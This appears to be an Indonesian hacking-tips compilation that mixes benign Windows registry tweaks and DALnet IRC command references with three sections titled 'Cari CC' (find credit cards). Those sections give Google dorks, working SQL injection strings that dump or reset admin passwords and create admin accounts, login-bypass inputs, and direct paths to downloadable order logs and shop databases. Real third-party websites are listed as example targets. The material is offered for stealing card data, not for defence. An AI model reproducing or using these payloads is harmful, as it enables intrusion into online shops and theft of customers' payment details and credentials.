Mengganti Kepemilikan Default Administrator

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Lsa
Buat sebuah DWORD Value baru dan beri nama NoDefaultAdminOwner.
Klik ganda NoDefaultAdminOwner dan masukkan angka 1 pada Value Data.

Cari CC Bagian 3

VP-ASP Shopping Cart 5.0

SQL Injection vulnerability pada script 'shopdisplayproducts.asp'
keyword allinurl:/vpasp/shopdisplayproducts.asp
Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp
http://.../vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20like%20'a%25'--
Ganti²lah nilai dari string url terakhir dg:
%20'a%25'--
%20'b%25'--
%20'c%25'--
dst...
Naah.. kalau berhasil, kita akan mendapatkan informasi username dan password admin!
Untuk login admin ke http://.../vpasp/shopadmin.asp

VP-ASP Shopping Cart 5.0

SQL Injection vulnerability pada script 'shopsearch.asp
keyword allinurl:/vpasp/shopsearch.asp
Buka url target dan utk membuat admin baru,
postingkan data berikut satu per satu pada bagian search engine :
Keyword=&category=5); insert into tbluser (fldusername) values ('')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword='' where fldusername=''--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where fldusername=''--&SubCategory=All&action.x=33&action.y=6
jangan lupa untuk mengganti dan sesuai selera!:
Untuk mengganti password admin, masukkan keyword berikut :
Keyword=&category=5); update tbluser set fldpassword='' where fldusername='admin'--&SubCategory=All&action.x=33&action.y=6
Untuk login admin, ada di http://.../vpasp/shopadmin.asp
Keywords di google: cart,METACART
Details Exploit :
Access langsung pada target url dimana letak
file database pada web tertentu yang di install metacart system.
RUMUS :
http://targetshop/database/metacart.mdb
http://Targetshop/metacart/database/metacart.mdb

Cari CC Bagian 2

Kumpulan Shopadmin Exploits

google dork : allinurl:store/index.cgi/page=
Bugs : ../admin/files/order.log
Example : http://www.target.com/cgi-bin/store/...ir_Manuals.htm
masukin bugsnya : http://www.target.com/cgi-bin/store/...iles/order.log
keyword : inurl:"/cart.php?m="
Bugs : Admin
ganti tulisn cart.php?m=view dengan admin
login pake SQl Injection :
username :'or"="
Passwordnya : 'or"="
Keyword : /ashopKart20/"
bugs : ganti tulisan yang ada didepannya ama admin/scart.mdb
example : www.garrysun.com/ashopkart20/addprod.asp
Injection : www.garrysun.com/ashopkart20/admin/scart.mdb
keyword : /shop/category.asp/catid=
Bugs : hapus tulisan /shop/category.asp?catid=2 ganti dengan /admin/dbsetup.asp
example : www.littlesport.net/shop/category.asp?catid=2
masukin bugs menjadi : www.littlesport.net//admin/dbsetup.asp
trus bug tadi diganti dengan /data/pdshoppro.mdb
keyword : inurl:"/store/proddetail.asp?prod="
bugs : ganti tulisan proddetail.asp?prod= dengan fpdb/vsproducts.mdb
google dork : "Powered by SunShop 3.2"
Atau google dork : inurl:"/sunshop/index.php?action="
Bugs : ganti kata index.php dgn admin
Contoh: http://www.domain.com/sunshop/index.php
ganti dengan admin http://www.domain.com/sunshop/admin
Login pake SQL Injection :
Username : admin
Password :'or''='
Google dork : "Powered by Digishop 3.2"
Bugs : hapus tulisan cart.php?m= dengan admin
Username : 'or"="
Password : 'or"="
google dork : inurl:"mall/lobby.asp"
bugs : ganti tulisan /mall/lobby.asp dengan fpdb/shop.mdb
example : Gem Depot Lobby Page - Search our Inventory
http://www.gemdepot.com/fpdb/shop.mdb
keyword allinurl:/DCShop/
bug: /DCShop/orders/orders.txt atau
/DCShop/Orders/orders.txt
keyword allinurl:/eshop/
bug: /cg-bin/eshop/database/order.mdb
contoh: http://www.contoh.com/.../cg-bin/eshop/database/order.mdb

Cari CC Bagian 1

Bug Comersus

Google dork:
allinurl:"Powered by COmersus"
allinurl:/shopdisplaycategories.asp
allinurl:/comersus_backoffice_login.php
allinurl:/backoffice/
allinurl:/backofficegold/
allinurl:/comersus_contactUs.asp
contoh letak login adminnya:
http://www.oldworldgourmet.com/cart/backofficegold/
http://www.centrodemateriales.com/admin/
http://www.swaminarayansatsang.com/shopping1/backoffice+/
http://www.mapsoft.co.yu/dev/comersus/backofficelite/
http://www.tarkentonsports.com/Comersus/backofficelite/
http://www.hugoo.com/backofficegold/
http://www.pronethost.com/shop//backofficelite/
http://www.workingproducts.com/cgi-bin/wp/backofficelite/
http://www.futuresknowledge.com/comersus/backofficelite
http://www.sheardelight.net/backofficegold/
Untuk login diatas anda dapat melakukan sql injection seperti di bawah ini:
http://www.sheardelight.net/backofficegold/
login : ' OR adminname <> '' OR adminname = '
pass : ' OR adminname <> '' OR adminname = '
Jika tidak bisa di injection maka anda bisa mendownload databasenya disini
contoh letak databasenya:
http://latintradingbooks.com/comersus/database/comersus.mdb
http://www.braziliancd.com/Comersus/database/comersus.mdb
http://www.sidewindercycle.com/database/comersus.mdb
http://www.sillyprat.co.uk/shop/database/comersus.mdb

Larangan Pada Active Desktop

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\ActiveDesktop
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Policies\ActiveDesktop
Buat sebuah atau beberapa DWORD Value dengan nama sebagai berikut:
NoChangingWallpaper - Disable the ability to change wallpapers.
NoComponents - Disable components.
NoAddingComponents - Disable the ability to add components.
NoDeletingComponents - Disable the ability to delete components.
NoEditingComponents - Disable the ability to edit components.
NoCloseDragDropBands - Prevents adding, dragging, dropping and closing the Taskbar’s toolbars.
NoMovingBands - retrict adjustments to desktop toolbars
NoHTMLWallPaper - only allow bitmaps (BMP) as wallpaper
dan masukkan angka 1 pada masing-masing Value Data.

Kumpulan perintah umum dalnet

/nick (nick baru) = mengganti nickname anda
/notice (nick) (pesan) = notice ke nick
/join (#channel) = masuk chennel
/say (pesan) = seperti chat biasa
/part (#channel) = keluar dari channel
/msg (nick) (pesan) = kirim msg ke nick
/quit = keluar dari IRC

/notify (nick) = agar tau nick tersebut online / tidak
/notify - (nick) = menghilangkan (nick) dari notify list
/quit (pesan) = quit dengan pesan kamu
/server (nama server) = ganti server
/query (nick) = private msg ke user
/invite (nick) (#channel) = invite user
/dcc chat (nick) = dcc chat ke nick
/dcc send (nick) (filename) = kirim file
/mode (nick kamu) +I = ubah mode menjadi invisible (tidak kelihatan di /who #channel oleh orang)
/ignore (nick) atau /ignore *@IPnya = abaikan user, semua tulisannya tidak akan kita lihat
/me (pesan) = action, hasilnya *(nick) (pesan)
untuk diminculkan ke semua channel yang kita OL
/list = melihat list semua chennel
/who (nick/#channel) = melihat keterangan user atau chennel
/whois (nick) = melihat keterangan ttg user
/away (pesan) = pergi sesaat dengan pesan
/away = menyatakan balik dari away
/ctcp (nick) ping = periksa berapa lama ketikan kamu sampai ke user
/ctcp (nick kamu) ping = cek lag kamu sendiri
/uwho (nick) = melihat U central nick
/clear = bersihkan layar aktifPerintah Standar Untuk Operator Channel/kick (#channel) (nick) = kick user
/topic (#channel) (topiknya) = mengganti topik channel
/kick (nick) (#channel) (alasan) = kick user dengan alasan
/mode (#channel) +b *!*@IPnya = Band IP user
/mode (#channel) +b nick! username@host.add.ress = Ban user
/mode (#channel) –b *!*@IPnya = buka Ban user, missal /mode #dewata +b *!*@202..133.80.*
/mode (#channel) +o (nick) = memberikan Op pada user
/mode (#channel) +v (nick) = memberikan voice pada user
/mode (#channel) – o (nick) = menurunkan user agar tidak Op lagi
/mode (#channel) –v (nick) = mengambil voice user
/mode (#channel) +/- ntispklRrmc = set mode channel
/channel = melihat mode dan ban list channel

/mode #ch +vvv n1 n2 n3 = memberi voice ke byk orang
/chanserv sop #ch add nick = memberi SOP

Perintah ChanServ Dalnet

ket: (A) = semua, (AOP) = minimal aop, (SOP) = minimal sop, (F) = founder

/cs akick #canda-ops add *!*@w13259.hostcentric.net / nick / ident :

/chanserv info (#channel) = melihat info channel (A)
/chanserv invite (#channel) (nick) = minta chanserv untuk invite (A)
/chanserv unban (#channel) (nick kamu) = Unban diri kamu (AOP)
/chanserv unban (#channel) * = unban semuanya (AOP)
/chanserv register (#channel) (passwd) (desikripsi) = register channel baru (F)
/chanserv identify (#channel) (passwd) = identify channel (F)
/chanserv drop (#channel) = drop channel (F)
/chanserv set (#channel) passwd (pass baru) = ganti password channel (F)
/chanserv set (#channel) founder = set sbg founder baru (F)
/chanserv set (#channel) desc (deskripsinya) = set deskripsi channel (F)
/chanserv set (#channel) topic (topiknya) = set topik channel (F)
/chanserv set (#channel) url (alamat url-nya) = set webpage channel (F)
/chanserv set (#channel) mlock (tulis modenya) = set kunci mode channel mis. +nt-ispklR (F)
/chanserv set (#channel) ident (on/off) = set ident aktif/tidak (F)
/chanserv set (#channel) restrict (on/off) = set restrict channel (F)
/chanserv set (#channel) keeptopic (on/off) = set keep topik channel (F)
/chanserv set (#channel) topiclock (sop/founder/off) = set topiklock channel (F)
/chanserv set (#channel) opguard (on/off) = set opguard
/chanserv set (#channel) memo (none/aop/sop/founder) = set memo level channel (F)
/chanserv why (#channel) (nick) = melihat akses yang dipakai nick untuk jadi op (AOP)
/chanserv op (#channel) (nick) = mengangkat menjadi op (AOP)
/chanserv deop (#channel) (nick) = menurunkan dari op (AOP)
/chanserv (aop/sop/akick) (#channel) list = melihat daftar aop, sop, atau akick
/chanserv aop (#channel) add (nick) = jadikan aop (SOP)
/chanserv sop (#channel) add (nick) = jadikan sop (F)
/chanserv aop (#channel) del (no. list aop) = hapus aop (SOP)
/chanserv sop (#channel) del (no. list sop) = hapus sop (F)
/chanserv (aop/sop/akick) (#channel) (add/del) nick!username@host.add.ress = masukkan/hapus dari list (SOP)
/chanserv mdeop (#channel) = mass deop channel, tapi aop tdk bisa deop sop dan founder (AOP)
/chanserv mkick (#channel) = mass kick channel (SOP)
/server = buat masuk ke mirc contoh /server hitam-putih.com bis disingkat jadi /s
/nick = buat ganti nick contoh /nick tanpa tanda kurung loh yah
/join = buat join ke channel kesukaan anda contoh /join hitamputih bisa di singkat /j
/part = buat pergi dari channel bisa di ikuti dengan kata kata contoh /part #hitamputih see yu
/me = buat bikin tulisan tanpa ada tanda kurungya pada nick kita contoh /me brb
/ame = seperti /me cuman tulisan kita klihatan di semua channel yang kita joini
/amsg = hampir sama seperti /ame cuman masih ada tanda kurung pada nick kita
/query = buat chatting aam nick yang ada di channel contoh /query Elang13 bisa disingkat /q
/whois = buat nyari tau tentang satu nick contoh /whois Elang13 bisa disingkat /w
/notice = buat ngirim pricate massage,cuman munculnya dichannel contoh /notice Elang13 kamu ganteng deh
/invite = buat invite nick biar maasuk channel contoh /invite Elang13 #hitamputih
/quit = buat ninggalin server yang lu masukin bisa disingkat /q

/ns commands :
/ns register : buat register nick kesukaan ente
/ns set enforce on/off : buat proteksi nick ente biar ga bisa dipake orang lain
/ns set passwd : buat ganti password nick
/cs commands :
/cs register #channel password dicryption : buat bikin channel contoh /cs register #htamputih apayah selamat bergabung
/cs sop/aop #channel add/del : buat ngangkat atau delete sop aop di channel anda
/cs akick #channel add/del *!*@localhost / nick / ident : buat ngusir orang yang disukai ente hehe, contoh /cs akick #hitamputih add ~asu@123.456.789.01 cuman yang bisa ngejalanin sop ama pak founder doang P:~
Perintah NickServ Dalnet

/nickserv register (password) (email) = register nick
/nickserv ghost (nick) (passwd) = kill ghost yaitu bila nick dipakai orang atau tertinggal di channel
/nickserv identify (password) = identify nick
/nickserv set kill (on/off) = set kill nick
/nickserv recover (nick) (passwd) = recover nick
/nickserv release (nick) = release nick
/nickserv drop (nick) = drop nick
/nickserv set passwd (passwd baru) = ganti password nick
/nickserv set noop (on/off) = set no op untuk nick
/nickserv set nomemo (on/off) = set no memo untuk nick
/nickserv info (nick) = mengetahui informasi tentang nick

Perintah MemoServ Dalnet

/memoserv list = melihat daftar memo anda
/memoserv send (nick) (pesan) = kirim memo
/memoserv send (#channel) (pesan) = kirim memo ke op
/memoserv read (no. list memo) = baca memo yang ke berapa (sesuai list memo)
/memoserv del (no. list memo) = hapus memo no di list
/memoserv undel (no. list memo) = undel memo

DALnet Servers

Ketikkan /server (namaServer) untuk ganti server
contoh: /server hotspeed.sg.as.dal.net

CA Servers :Canada

/server maple.ix.ca.dal.net

EU Servers :Eropa

/server mozilla.se.eu.dal.net
/server powertech.no.eu.dal.net
/server slimey.uk.eu.dal.net
/server genesis-r.uk.eu.dal.net
/server matrix.de.eu.dal.net
/server arcor.de.eu.dal.net

AS Servers :Asia

/server hotspeed.sg.as.dal.net
/server mesra.kl.my.dal.net

US Servers :Amerika Serikat

/server aeon.nj.us.dal.net
/server broadway.ny.us.dal.net
/server hollywood.ix.us.dal.net
/server jade.va.us.dal.net
/server jingo.ix.us.dal.net
/server loyalty.ix.us.dal.net
/server masters.ix.us.dal.net
/server novel.fl.us.dal.net
/server redemption.ix.us.dal.net
/server rumble.fl.us.dal.net
/server serenity.ix.us.dal.net
/server soho.ix.us.dal.net
/server punch.va.us.dal.net
/server swiftco.wa.us.dal.net
/server ix.dal.net